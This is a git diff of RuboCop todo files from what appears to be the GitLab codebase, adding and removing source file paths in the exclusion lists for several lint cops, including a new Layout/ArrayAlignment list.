- 'app/models/issue_assignee.rb'
- - 'app/models/issue_collection.rb'
- 'app/models/issue_email_participant.rb'
- 'app/models/issue_link.rb'
- 'app/models/issue_user_mention.rb'
@@ -371,6 +369,7 @@ Gitlab/NamespacedClass:
- 'app/policies/deploy_keys_project_policy.rb'
- 'app/policies/deploy_token_policy.rb'
- 'app/policies/deployment_policy.rb'
+ - 'app/policies/description_version_policy.rb'
- 'app/policies/draft_note_policy.rb'
- 'app/policies/environment_policy.rb'
- 'app/policies/external_issue_policy.rb'
@@ -404,7 +403,10 @@ Gitlab/NamespacedClass:
- 'app/policies/protected_branch_policy.rb'
- 'app/policies/release_policy.rb'
- 'app/policies/repository_policy.rb'
+ - 'app/policies/resource_event_policy.rb'
- 'app/policies/resource_label_event_policy.rb'
+ - 'app/policies/resource_milestone_event_policy.rb'
+ - 'app/policies/resource_state_event_policy.rb'
- 'app/policies/suggestion_policy.rb'
- 'app/policies/system_hook_policy.rb'
- 'app/policies/timebox_policy.rb'
@@ -960,6 +962,8 @@ Gitlab/NamespacedClass:
- 'ee/app/policies/issuable_metric_image_policy.rb'
- 'ee/app/policies/iteration_policy.rb'
- 'ee/app/policies/push_rule_policy.rb'
+ - 'ee/app/policies/resource_iteration_event_policy.rb'
+ - 'ee/app/policies/resource_weight_event_policy.rb'
- 'ee/app/policies/saml_provider_policy.rb'
- 'ee/app/policies/vulnerability_policy.rb'
- 'ee/app/presenters/approval_rule_presenter.rb'
diff --git a/.rubocop_todo/gitlab/strong_memoize_attr.yml b/.rubocop_todo/gitlab/strong_memoize_attr.yml
index 5afb7574ff1..9fe784e1be9 100644
--- a/.rubocop_todo/gitlab/strong_memoize_attr.yml
+++ b/.rubocop_todo/gitlab/strong_memoize_attr.yml
@@ -41,7 +41,6 @@ Gitlab/StrongMemoizeAttr:
- 'app/finders/ci/commit_statuses_finder.rb'
- 'app/finders/ci/pipelines_for_merge_request_finder.rb'
- 'app/finders/cluster_ancestors_finder.rb'
- - 'app/finders/clusters/knative_services_finder.rb'
- 'app/finders/concerns/finder_with_group_hierarchy.rb'
- 'app/finders/crm/contacts_finder.rb'
- 'app/finders/crm/organizations_finder.rb'
@@ -88,15 +87,12 @@ Gitlab/StrongMemoizeAttr:
- 'app/models/ci/processable.rb'
- 'app/models/ci/runner.rb'
- 'app/models/clusters/cluster.rb'
- - 'app/models/clusters/providers/aws.rb'
- 'app/models/commit.rb'
- 'app/models/commit_collection.rb'
- 'app/models/compare.rb'
- - 'app/models/concerns/analytics/cycle_analytics/stage.rb'
- 'app/models/concerns/avatarable.rb'
- 'app/models/concerns/cascading_namespace_setting_attribute.rb'
- 'app/models/concerns/ci/contextable.rb'
- - 'app/models/concerns/ci/partitionable.rb'
- 'app/models/concerns/discussion_on_diff.rb'
- 'app/models/concerns/has_repository.rb'
- 'app/models/concerns/has_wiki.rb'
@@ -155,7 +151,6 @@ Gitlab/StrongMemoizeAttr:
- 'app/presenters/blobs/unfold_presenter.rb'
- 'app/presenters/ci/build_runner_presenter.rb'
- 'app/presenters/ci/pipeline_artifacts/code_coverage_presenter.rb'
- - 'app/presenters/ci/pipeline_artifacts/code_quality_mr_diff_presenter.rb'
- 'app/presenters/ci/pipeline_presenter.rb'
- 'app/presenters/clusters/cluster_presenter.rb'
- 'app/presenters/merge_request_presenter.rb'
@@ -165,11 +160,7 @@ Gitlab/StrongMemoizeAttr:
- 'app/presenters/project_presenter.rb'
- 'app/presenters/projects/settings/deploy_keys_presenter.rb'
- 'app/serializers/ci/pipeline_entity.rb'
- - 'app/serializers/concerns/diff_file_conflict_type.rb'
- - 'app/serializers/diff_file_base_entity.rb'
- - 'app/serializers/integrations/field_entity.rb'
- 'app/serializers/linked_project_issue_entity.rb'
- - 'app/serializers/suggestion_entity.rb'
- 'app/services/alert_management/alerts/update_service.rb'
- 'app/services/alert_management/create_alert_issue_service.rb'
- 'app/services/alert_management/process_prometheus_alert_service.rb'
@@ -179,7 +170,6 @@ Gitlab/StrongMemoizeAttr:
- 'app/services/award_emojis/add_service.rb'
- 'app/services/base_project_service.rb'
- 'app/services/boards/base_items_list_service.rb'
- - 'app/services/boards/lists/base_create_service.rb'
- 'app/services/ci/create_downstream_pipeline_service.rb'
- 'app/services/ci/create_web_ide_terminal_service.rb'
- 'app/services/ci/job_artifacts/destroy_batch_service.rb'
@@ -194,7 +184,6 @@ Gitlab/StrongMemoizeAttr:
- 'app/services/ci/queue/build_queue_service.rb'
- 'app/services/ci/update_build_state_service.rb'
- 'app/services/clusters/agents/refresh_authorization_service.rb'
- - 'app/services/clusters/aws/finalize_creation_service.rb'
- 'app/services/clusters/integrations/prometheus_health_check_service.rb'
- 'app/services/concerns/alert_management/alert_processing.rb'
- 'app/services/concerns/incident_management/settings.rb'
@@ -273,7 +262,6 @@ Gitlab/StrongMemoizeAttr:
- 'app/services/projects/lfs_pointers/lfs_object_download_list_service.rb'
- 'app/services/projects/open_issues_count_service.rb'
- 'app/services/projects/record_target_platforms_service.rb'
- - 'app/services/projects/update_remote_mirror_service.rb'
- 'app/services/projects/update_statistics_service.rb'
- 'app/services/prometheus/proxy_service.rb'
- 'app/services/quick_actions/interpret_service.rb'
@@ -312,7 +300,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/controllers/ee/admin/health_check_controller.rb'
- 'ee/app/controllers/ee/groups/settings/repository_controller.rb'
- 'ee/app/controllers/ee/groups_controller.rb'
- - 'ee/app/controllers/ee/registrations/welcome_controller.rb'
- 'ee/app/controllers/ee/repositories/git_http_controller.rb'
- 'ee/app/controllers/groups/audit_events_controller.rb'
- 'ee/app/controllers/groups/epic_boards_controller.rb'
@@ -326,14 +313,12 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/finders/ee/issues_finder.rb'
- 'ee/app/finders/epics_finder.rb'
- 'ee/app/finders/incident_management/oncall_users_finder.rb'
- - 'ee/app/finders/requirements_management/requirements_finder.rb'
- 'ee/app/finders/security/pipeline_vulnerabilities_finder.rb'
- 'ee/app/finders/security/training_providers/base_url_finder.rb'
- 'ee/app/graphql/resolvers/epics_resolver.rb'
- 'ee/app/graphql/resolvers/vulnerabilities_base_resolver.rb'
- 'ee/app/helpers/admin/emails_helper.rb'
- 'ee/app/helpers/auditor_user_helper.rb'
- - 'ee/app/helpers/billing_plans_helper.rb'
- 'ee/app/helpers/ee/ci/runners_helper.rb'
- 'ee/app/helpers/ee/preferences_helper.rb'
- 'ee/app/helpers/ee/registrations_helper.rb'
@@ -352,7 +337,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/models/approvals/scan_finding_wrapped_rule_set.rb'
- 'ee/app/models/approvals/wrapped_rule_set.rb'
- 'ee/app/models/burndown.rb'
- - 'ee/app/models/ci/minutes/limit.rb'
- 'ee/app/models/concerns/deprecated_approvals_before_merge.rb'
- 'ee/app/models/concerns/ee/approvable.rb'
- 'ee/app/models/concerns/ee/issue_available_features.rb'
@@ -363,7 +347,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/models/ee/ci/bridge.rb'
- 'ee/app/models/ee/ci/build.rb'
- 'ee/app/models/ee/ci/build_dependencies.rb'
- - 'ee/app/models/ee/ci/job_artifact.rb'
- 'ee/app/models/ee/ci/pipeline.rb'
- 'ee/app/models/ee/ci/runner.rb'
- 'ee/app/models/ee/deployment.rb'
@@ -403,7 +386,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/services/deployments/approval_service.rb'
- 'ee/app/services/ee/allowed_email_domains/update_service.rb'
- 'ee/app/services/ee/auto_merge_service.rb'
- - 'ee/app/services/ee/boards/lists/create_service.rb'
- 'ee/app/services/ee/ci/retry_pipeline_service.rb'
- 'ee/app/services/ee/incident_management/issuable_escalation_statuses/prepare_update_service.rb'
- 'ee/app/services/ee/integrations/test/project_service.rb'
@@ -440,7 +422,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/app/services/merge_commits/export_csv_service.rb'
- 'ee/app/services/merge_requests/update_blocks_service.rb'
- 'ee/app/services/projects/restore_service.rb'
- - 'ee/app/services/projects/update_mirror_service.rb'
- 'ee/app/services/protected_environments/base_service.rb'
- 'ee/app/services/security/ingestion/tasks/ingest_vulnerabilities/mark_resolved_as_detected.rb'
- 'ee/app/services/security/report_fetch_service.rb'
@@ -488,8 +469,6 @@ Gitlab/StrongMemoizeAttr:
- 'ee/lib/ee/gitlab/gitaly_client/with_feature_flag_actors.rb'
- 'ee/lib/ee/gitlab/import_export/after_export_strategies/custom_template_export_import_strategy.rb'
- 'ee/lib/ee/gitlab/issuable_metadata.rb'
- - 'ee/lib/ee/gitlab/scim/deprovision_service.rb'
- - 'ee/lib/ee/gitlab/scim/provisioning_service.rb'
- 'ee/lib/ee/gitlab/security/scan_configuration.rb'
- 'ee/lib/ee/gitlab/web_hooks/rate_limiter.rb'
- 'ee/lib/ee/sidebars/groups/menus/issues_menu.rb'
@@ -558,8 +537,6 @@ Gitlab/StrongMemoizeAttr:
- 'lib/banzai/filter/issuable_reference_expansion_filter.rb'
- 'lib/banzai/filter/references/reference_cache.rb'
- 'lib/banzai/filter/repository_link_filter.rb'
- - 'lib/banzai/reference_parser/merge_request_parser.rb'
- - 'lib/bulk_imports/clients/http.rb'
- 'lib/bulk_imports/pipeline.rb'
- 'lib/bulk_imports/users_mapper.rb'
- 'lib/container_registry/client.rb'
@@ -616,7 +593,6 @@ Gitlab/StrongMemoizeAttr:
- 'lib/gitlab/ci/pipeline/chain/seed.rb'
- 'lib/gitlab/ci/pipeline/chain/skip.rb'
- 'lib/gitlab/ci/pipeline/expression/lexer.rb'
- - 'lib/gitlab/ci/pipeline/logger.rb'
- 'lib/gitlab/ci/pipeline/metrics.rb'
- 'lib/gitlab/ci/pipeline/quota/deployments.rb'
- 'lib/gitlab/ci/pipeline/seed/processable/resource_group.rb'
@@ -687,7 +663,6 @@ Gitlab/StrongMemoizeAttr:
- 'lib/gitlab/gitaly_client/with_feature_flag_actors.rb'
- 'lib/gitlab/github_import/client.rb'
- 'lib/gitlab/github_import/importer/repository_importer.rb'
- - 'lib/gitlab/github_import/representation/diff_note.rb'
- 'lib/gitlab/github_import/representation/diff_notes/suggestion_formatter.rb'
- 'lib/gitlab/gl_repository/identifier.rb'
- 'lib/gitlab/gpg/commit.rb'
@@ -697,7 +672,6 @@ Gitlab/StrongMemoizeAttr:
- 'lib/gitlab/import_export/base/relation_object_saver.rb'
- 'lib/gitlab/import_export/decompressed_archive_size_validator.rb'
- 'lib/gitlab/import_export/fast_hash_serializer.rb'
- - 'lib/gitlab/import_export/group/legacy_tree_restorer.rb'
- 'lib/gitlab/import_export/group/tree_restorer.rb'
- 'lib/gitlab/import_export/importer.rb'
- 'lib/gitlab/import_export/json/legacy_reader.rb'
@@ -727,7 +701,6 @@ Gitlab/StrongMemoizeAttr:
- 'lib/gitlab/relative_positioning/starting_from.rb'
- 'lib/gitlab/request_context.rb'
- 'lib/gitlab/search/found_blob.rb'
- - 'lib/gitlab/search/parsed_query.rb'
- 'lib/gitlab/serverless/service.rb'
- 'lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb'
- 'lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/deduplicates_when_scheduling.rb'
diff --git a/.rubocop_todo/graphql/descriptions.yml b/.rubocop_todo/graphql/descriptions.yml
index 9d76d7d7638..b873ccc96ea 100644
--- a/.rubocop_todo/graphql/descriptions.yml
+++ b/.rubocop_todo/graphql/descriptions.yml
@@ -4,12 +4,6 @@ Graphql/Descriptions:
Safe: false
Details: grace period
Exclude:
- - 'app/graphql/mutations/boards/lists/base_update.rb'
- - 'app/graphql/mutations/ci/project_ci_cd_settings_update.rb'
- - 'app/graphql/mutations/clusters/agents/create.rb'
- - 'app/graphql/mutations/merge_requests/accept.rb'
- - 'app/graphql/mutations/notes/create/note.rb'
- - 'app/graphql/mutations/releases/create.rb'
- 'app/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver.rb'
- 'app/graphql/resolvers/alert_management/alert_resolver.rb'
- 'app/graphql/resolvers/concerns/issues/sort_arguments.rb'
diff --git a/.rubocop_todo/layout/argument_alignment.yml b/.rubocop_todo/layout/argument_alignment.yml
index 98633709bee..8531f0500f8 100644
--- a/.rubocop_todo/layout/argument_alignment.yml
+++ b/.rubocop_todo/layout/argument_alignment.yml
@@ -229,7 +229,6 @@ Layout/ArgumentAlignment:
- 'app/models/integrations/drone_ci.rb'
- 'app/models/integrations/emails_on_push.rb'
- 'app/models/integrations/external_wiki.rb'
- - 'app/models/integrations/flowdock.rb'
- 'app/models/integrations/harbor.rb'
- 'app/models/integrations/irker.rb'
- 'app/models/integrations/jenkins.rb'
@@ -332,15 +331,6 @@ Layout/ArgumentAlignment:
- 'config/routes/snippets.rb'
- 'config/routes/uploads.rb'
- 'config/routes/user.rb'
- - 'db/migrate/20210305002016_update_terraform_states_locked_by_user_id_foreign_key.rb'
- - 'db/migrate/20210308190413_change_batched_background_migrations_batch_class_name_default.rb'
- - 'db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb'
- - 'db/migrate/20210329191850_add_finding_signature_table.rb'
- - 'db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb'
- - 'db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb'
- - 'db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb'
- - 'db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb'
- - 'db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb'
- 'db/migrate/20210609013512_add_unique_index_for_batched_background_migrations.rb'
- 'db/migrate/20210625094554_create_error_tracking_error_events.rb'
- 'db/migrate/20210720130006_create_error_tracking_client_keys.rb'
@@ -397,10 +387,6 @@ Layout/ArgumentAlignment:
- 'db/migrate/20221102195642_create_dependency_proxy_manifest_states.rb'
- 'db/migrate/20221108185442_add_project_wiki_repository_id_to_project_wiki_repository_states.rb'
- 'db/migrate/20221110150942_add_project_id_lower_name_index_remove_old_index.rb'
- - 'db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb'
- - 'db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb'
- - 'db/post_migrate/20210415101228_backfill_ci_build_needs_for_bigint_conversion.rb'
- - 'db/post_migrate/20210422023046_backfill_ci_sources_pipelines_source_job_id_for_bigint_conversion.rb'
- 'db/post_migrate/20210611080951_fix_missing_traversal_ids.rb'
- 'db/post_migrate/20210622045705_finalize_events_bigint_conversion.rb'
- 'db/post_migrate/20210701033622_finalize_ci_builds_needs_bigint_conversion.rb'
@@ -709,7 +695,6 @@ Layout/ArgumentAlignment:
- 'ee/spec/controllers/groups/security/policies_controller_spec.rb'
- 'ee/spec/controllers/groups/todos_controller_spec.rb'
- 'ee/spec/controllers/projects/iterations_controller_spec.rb'
- - 'ee/spec/controllers/projects/legacy_pipelines_controller_spec.rb'
- 'ee/spec/controllers/projects/merge_requests/creations_controller_spec.rb'
- 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- 'ee/spec/controllers/projects/protected_environments_controller_spec.rb'
@@ -736,7 +721,6 @@ Layout/ArgumentAlignment:
- 'ee/spec/features/merge_trains/user_adds_to_merge_train_when_pipeline_succeeds_spec.rb'
- 'ee/spec/features/projects/environments/environments_spec.rb'
- 'ee/spec/features/projects/merge_requests/user_edits_merge_request_spec.rb'
- - 'ee/spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- 'ee/spec/features/projects/pipelines/pipeline_spec.rb'
- 'ee/spec/features/registrations/saas/standard_flow_company_creating_project_spec.rb'
- 'ee/spec/finders/security/pipeline_vulnerabilities_finder_spec.rb'
@@ -773,7 +757,6 @@ Layout/ArgumentAlignment:
- 'ee/spec/lib/incident_management/oncall_shift_generator_spec.rb'
- 'ee/spec/lib/slack/block_kit/app_home_opened_spec.rb'
- 'ee/spec/models/approval_wrapped_code_owner_rule_spec.rb'
- - 'ee/spec/models/ci/minutes/limit_spec.rb'
- 'ee/spec/models/ci/minutes/namespace_monthly_usage_spec.rb'
- 'ee/spec/models/ci/minutes/project_monthly_usage_spec.rb'
- 'ee/spec/models/ee/audit_event_spec.rb'
@@ -1096,7 +1079,6 @@ Layout/ArgumentAlignment:
- 'spec/controllers/projects/clusters_controller_spec.rb'
- 'spec/controllers/projects/commit_controller_spec.rb'
- 'spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb'
- - 'spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb'
- 'spec/controllers/projects/environments_controller_spec.rb'
- 'spec/controllers/projects/feature_flags_clients_controller_spec.rb'
- 'spec/controllers/projects/forks_controller_spec.rb'
@@ -1154,8 +1136,6 @@ Layout/ArgumentAlignment:
- 'spec/features/projects/files/user_reads_pipeline_status_spec.rb'
- 'spec/features/projects/issues/viewing_issues_with_external_authorization_enabled_spec.rb'
- 'spec/features/projects/jobs_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipeline_spec.rb'
- - 'spec/features/projects/pipelines/legacy_pipelines_spec.rb'
- 'spec/features/projects/pipelines/pipeline_spec.rb'
- 'spec/features/projects/pipelines/pipelines_spec.rb'
- 'spec/features/tags/developer_deletes_tag_spec.rb'
diff --git a/.rubocop_todo/layout/array_alignment.yml b/.rubocop_todo/layout/array_alignment.yml
new file mode 100644
index 00000000000..3f3e6a393da
--- /dev/null
+++ b/.rubocop_todo/layout/array_alignment.yml
@@ -0,0 +1,365 @@
+---
+# Cop supports --autocorrect.
+Layout/ArrayAlignment:
+ Details: grace period
+ Exclude:
+ - 'app/controllers/admin/application_settings_controller.rb'
+ - 'app/controllers/admin/broadcast_messages_controller.rb'
+ - 'app/controllers/admin/plan_limits_controller.rb'
+ - 'app/controllers/concerns/observability/content_security_policy.rb'
+ - 'app/controllers/profiles_controller.rb'
+ - 'app/controllers/projects/feature_flags_controller.rb'
+ - 'app/controllers/projects/labels_controller.rb'
+ - 'app/controllers/projects/protected_branches_controller.rb'
+ - 'app/controllers/projects/settings/ci_cd_controller.rb'
+ - 'app/controllers/projects_controller.rb'
+ - 'app/controllers/users_controller.rb'
+ - 'app/finders/user_groups_counter.rb'
+ - 'app/graphql/resolvers/concerns/issues/sort_arguments.rb'
+ - 'app/graphql/types/permission_types/merge_request.rb'
+ - 'app/helpers/merge_requests_helper.rb'
+ - 'app/helpers/namespaces_helper.rb'
+ - 'app/helpers/search_helper.rb'
+ - 'app/helpers/submodule_helper.rb'
+ - 'app/models/ci/bridge.rb'
+ - 'app/models/ci/build.rb'
+ - 'app/models/concerns/ci/partitionable/switch.rb'
+ - 'app/models/container_repository.rb'
+ - 'app/models/deploy_token.rb'
+ - 'app/models/dev_ops_report/metric.rb'
+ - 'app/models/group.rb'
+ - 'app/models/integration.rb'
+ - 'app/models/integrations/hangouts_chat.rb'
+ - 'app/models/integrations/microsoft_teams.rb'
+ - 'app/models/integrations/pumble.rb'
+ - 'app/models/integrations/unify_circuit.rb'
+ - 'app/models/integrations/webex_teams.rb'
+ - 'app/models/issue.rb'
+ - 'app/models/repository.rb'
+ - 'app/models/snippet_repository.rb'
+ - 'app/models/user.rb'
+ - 'app/models/wiki.rb'
+ - 'app/services/ci/create_pipeline_service.rb'
+ - 'app/services/commits/create_service.rb'
+ - 'app/services/labels/transfer_service.rb'
+ - 'app/services/namespaces/package_settings/update_service.rb'
+ - 'app/services/packages/rpm/parse_package_service.rb'
+ - 'app/services/projects/participants_service.rb'
+ - 'app/services/web_hook_service.rb'
+ - 'config/application.rb'
+ - 'config/initializers/0_marginalia.rb'
+ - 'config/initializers/direct_upload_support.rb'
+ - 'db/post_migrate/20220728134255_update_index_vulnerabilities_common_finder.rb'
+ - 'ee/app/controllers/admin/push_rules_controller.rb'
+ - 'ee/app/controllers/ee/admin/application_settings_controller.rb'
+ - 'ee/app/controllers/ee/projects/merge_requests_controller.rb'
+ - 'ee/app/controllers/groups/protected_branches_controller.rb'
+ - 'ee/app/controllers/groups/push_rules_controller.rb'
+ - 'ee/app/controllers/projects/push_rules_controller.rb'
+ - 'ee/app/finders/autocomplete/project_invited_groups_finder.rb'
+ - 'ee/app/finders/ee/issues_finder/params.rb'
+ - 'ee/app/finders/geo/project_registry_finder.rb'
+ - 'ee/app/graphql/ee/resolvers/project_pipelines_resolver.rb'
+ - 'ee/app/helpers/ee/routing/projects_helper.rb'
+ - 'ee/app/models/concerns/geo/verification_state.rb'
+ - 'ee/app/models/dast_site_profile.rb'
+ - 'ee/app/models/dora/base_metric.rb'
+ - 'ee/app/models/ee/application_setting.rb'
+ - 'ee/app/models/ee/epic.rb'
+ - 'ee/app/models/ee/user.rb'
+ - 'ee/app/models/geo/event_log.rb'
+ - 'ee/app/models/gitlab_subscription_history.rb'
+ - 'ee/app/models/ip_restriction.rb'
+ - 'ee/app/models/license.rb'
+ - 'ee/app/models/protected_environment.rb'
+ - 'ee/app/models/security/finding.rb'
+ - 'ee/app/services/ee/users/authorized_build_service.rb'
+ - 'ee/app/services/jira/requests/issues/list_service.rb'
+ - 'ee/app/services/protected_environments/base_service.rb'
+ - 'ee/app/services/security/security_orchestration_policies/create_pipeline_service.rb'
+ - 'ee/app/services/vulnerabilities/create_service_base.rb'
+ - 'ee/lib/gitlab/analytics/cycle_analytics/summary/group/stage_summary.rb'
+ - 'ee/lib/gitlab/usage/metrics/instrumentations/license_metric.rb'
+ - 'ee/spec/controllers/admin/licenses/usage_exports_controller_spec.rb'
+ - 'ee/spec/factories/dependencies.rb'
+ - 'ee/spec/features/boards/boards_licensed_features_spec.rb'
+ - 'ee/spec/features/groups/analytics/cycle_analytics/charts_spec.rb'
+ - 'ee/spec/features/groups/group_roadmap_spec.rb'
+ - 'ee/spec/finders/namespaces/billed_users_finder_spec.rb'
+ - 'ee/spec/finders/security/pipeline_vulnerabilities_finder_spec.rb'
+ - 'ee/spec/frontend/fixtures/search.rb'
+ - 'ee/spec/graphql/resolvers/analytics/contribution_analytics/contributions_resolver_spec.rb'
+ - 'ee/spec/graphql/types/dast_scanner_profile_type_spec.rb'
+ - 'ee/spec/graphql/types/dast_site_profile_type_spec.rb'
+ - 'ee/spec/graphql/types/permission_types/epic_spec.rb'
+ - 'ee/spec/graphql/types/permission_types/vulnerability_spec.rb'
+ - 'ee/spec/graphql/types/pipeline_security_report_finding_type_spec.rb'
+ - 'ee/spec/graphql/types/requirements_management/requirement_type_spec.rb'
+ - 'ee/spec/graphql/types/vulnerability_type_spec.rb'
+ - 'ee/spec/helpers/billing_plans_helper_spec.rb'
+ - 'ee/spec/helpers/boards_helper_spec.rb'
+ - 'ee/spec/helpers/ee/application_settings_helper_spec.rb'
+ - 'ee/spec/helpers/ee/environments_helper_spec.rb'
+ - 'ee/spec/lib/audit/group_merge_request_approval_setting_changes_auditor_spec.rb'
+ - 'ee/spec/lib/audit/project_changes_auditor_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/background_migration/update_vulnerability_occurrences_location_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/usage_data_spec.rb'
+ - 'ee/spec/lib/gitlab/auth/ldap/person_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/config/security_orchestration_policies/processor_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/reports/dependency_list/report_spec.rb'
+ - 'ee/spec/lib/gitlab/graphql/loaders/oncall_participant_loader_spec.rb'
+ - 'ee/spec/lib/gitlab/search/index_curator_spec.rb'
+ - 'ee/spec/lib/gitlab/visibility_level_spec.rb'
+ - 'ee/spec/lib/incident_management/oncall_shift_generator_spec.rb'
+ - 'ee/spec/models/dora/base_metric_spec.rb'
+ - 'ee/spec/models/dora/daily_metrics_spec.rb'
+ - 'ee/spec/models/ee/group_spec.rb'
+ - 'ee/spec/models/ee/protected_ref_access_spec.rb'
+ - 'ee/spec/models/issue_spec.rb'
+ - 'ee/spec/models/project_spec.rb'
+ - 'ee/spec/models/repository_spec.rb'
+ - 'ee/spec/models/security/orchestration_policy_rule_schedule_spec.rb'
+ - 'ee/spec/models/security/scan_spec.rb'
+ - 'ee/spec/policies/group_policy_spec.rb'
+ - 'ee/spec/policies/project_policy_spec.rb'
+ - 'ee/spec/requests/api/dora/metrics_spec.rb'
+ - 'ee/spec/requests/api/graphql/group/epic/epic_ancestors_spec.rb'
+ - 'ee/spec/requests/api/graphql/group/epic/epic_children_spec.rb'
+ - 'ee/spec/requests/api/graphql/group/epics_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/compliance_management/frameworks/create_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/releases/update_spec.rb'
+ - 'ee/spec/requests/api/ldap_group_links_spec.rb'
+ - 'ee/spec/requests/api/license_spec.rb'
+ - 'ee/spec/requests/api/members_spec.rb'
+ - 'ee/spec/requests/api/saml_group_links_spec.rb'
+ - 'ee/spec/serializers/dashboard_environment_entity_spec.rb'
+ - 'ee/spec/serializers/user_analytics_entity_spec.rb'
+ - 'ee/spec/services/analytics/cycle_analytics/value_streams/update_service_spec.rb'
+ - 'ee/spec/services/audit_events/export_csv_service_spec.rb'
+ - 'ee/spec/services/ee/auto_merge_service_spec.rb'
+ - 'ee/spec/services/ee/boards/issues/list_service_spec.rb'
+ - 'ee/spec/services/epic_issues/create_service_spec.rb'
+ - 'ee/spec/services/epics/epic_links/create_service_spec.rb'
+ - 'ee/spec/services/groups/seat_usage_export_service_spec.rb'
+ - 'ee/spec/services/incident_management/issuable_resource_links/zoom_link_service_spec.rb'
+ - 'ee/spec/services/security/dependency_list_service_spec.rb'
+ - 'ee/spec/services/security/ingestion/tasks/update_vulnerability_uuids_spec.rb'
+ - 'ee/spec/services/security/security_orchestration_policies/create_pipeline_service_spec.rb'
+ - 'ee/spec/services/security/security_orchestration_policies/scan_pipeline_service_spec.rb'
+ - 'ee/spec/services/security/token_revocation_service_spec.rb'
+ - 'ee/spec/support/helpers/vulnerability_exports_helpers.rb'
+ - 'ee/spec/support/shared_examples/finders/epics/findable_shared_examples.rb'
+ - 'ee/spec/support/shared_examples/policies/requirement_policy_shared_examples.rb'
+ - 'lib/api/api_guard.rb'
+ - 'lib/api/ci/runner.rb'
+ - 'lib/api/ci/runners.rb'
+ - 'lib/api/internal/base.rb'
+ - 'lib/api/statistics.rb'
+ - 'lib/gitlab/alert_management/payload/prometheus.rb'
+ - 'lib/gitlab/bitbucket_import/importer.rb'
+ - 'lib/gitlab/chat/command.rb'
+ - 'lib/gitlab/checks/single_change_access.rb'
+ - 'lib/gitlab/ci/config/entry/default.rb'
+ - 'lib/gitlab/ci/config/entry/job.rb'
+ - 'lib/gitlab/ci/config/entry/processable.rb'
+ - 'lib/gitlab/ci/config/entry/reports.rb'
+ - 'lib/gitlab/ci/config/entry/root.rb'
+ - 'lib/gitlab/ci/config/external/processor.rb'
+ - 'lib/gitlab/ci/status/bridge/factory.rb'
+ - 'lib/gitlab/ci/status/build/factory.rb'
+ - 'lib/gitlab/ci/status/stage/factory.rb'
+ - 'lib/gitlab/cleanup/project_upload_file_finder.rb'
+ - 'lib/gitlab/conflict/file_collection.rb'
+ - 'lib/gitlab/content_security_policy/config_loader.rb'
+ - 'lib/gitlab/database/background_migration/batched_job.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/team.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/trial.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/verify.rb'
+ - 'lib/gitlab/email/receiver.rb'
+ - 'lib/gitlab/etag_caching/router/rails.rb'
+ - 'lib/gitlab/git/diff.rb'
+ - 'lib/gitlab/import_export/importer.rb'
+ - 'lib/gitlab/instrumentation/redis.rb'
+ - 'lib/gitlab/lograge/custom_options.rb'
+ - 'lib/gitlab/metrics/global_search_slis.rb'
+ - 'lib/gitlab/metrics/requests_rack_middleware.rb'
+ - 'lib/gitlab/metrics/samplers/threads_sampler.rb'
+ - 'lib/gitlab/object_hierarchy.rb'
+ - 'lib/gitlab/project_authorizations.rb'
+ - 'lib/gitlab/rack_attack/instrumented_cache_store.rb'
+ - 'lib/gitlab/reference_extractor.rb'
+ - 'lib/gitlab/sidekiq_middleware/size_limiter/validator.rb'
+ - 'lib/gitlab/usage/metrics/instrumentations/count_imported_projects_total_metric.rb'
+ - 'lib/gitlab/visibility_level.rb'
+ - 'lib/kramdown/parser/atlassian_document_format.rb'
+ - 'lib/tasks/cache.rake'
+ - 'qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb'
+ - 'qa/qa/specs/features/ee/browser_ui/10_govern/group/group_audit_logs_2_spec.rb'
+ - 'qa/qa/specs/features/ee/browser_ui/13_secure/enable_scanning_from_configuration_spec.rb'
+ - 'qa/qa/specs/features/ee/browser_ui/13_secure/license_compliance_spec.rb'
+ - 'qa/qa/specs/features/ee/browser_ui/1_manage/group/group_ldap_sync_spec.rb'
+ - 'qa/spec/specs/runner_spec.rb'
+ - 'rubocop/cop/gitlab/rspec/avoid_setup.rb'
+ - 'rubocop/cop/graphql/authorize_types.rb'
+ - 'spec/controllers/import/bulk_imports_controller_spec.rb'
+ - 'spec/controllers/projects/pipeline_schedules_controller_spec.rb'
+ - 'spec/factories/ci/builds.rb'
+ - 'spec/features/groups_spec.rb'
